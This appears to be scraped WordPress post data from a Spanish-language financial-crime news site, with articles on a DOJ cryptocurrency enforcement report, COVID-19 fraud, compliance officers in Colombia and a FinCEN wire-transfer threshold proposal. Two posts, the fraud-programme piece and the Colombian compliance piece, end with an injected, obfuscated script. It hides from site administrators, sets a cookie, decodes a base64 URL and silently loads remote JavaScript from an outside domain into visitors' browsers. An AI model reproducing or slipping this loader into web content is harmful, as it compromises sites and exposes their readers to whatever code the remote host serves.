https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las 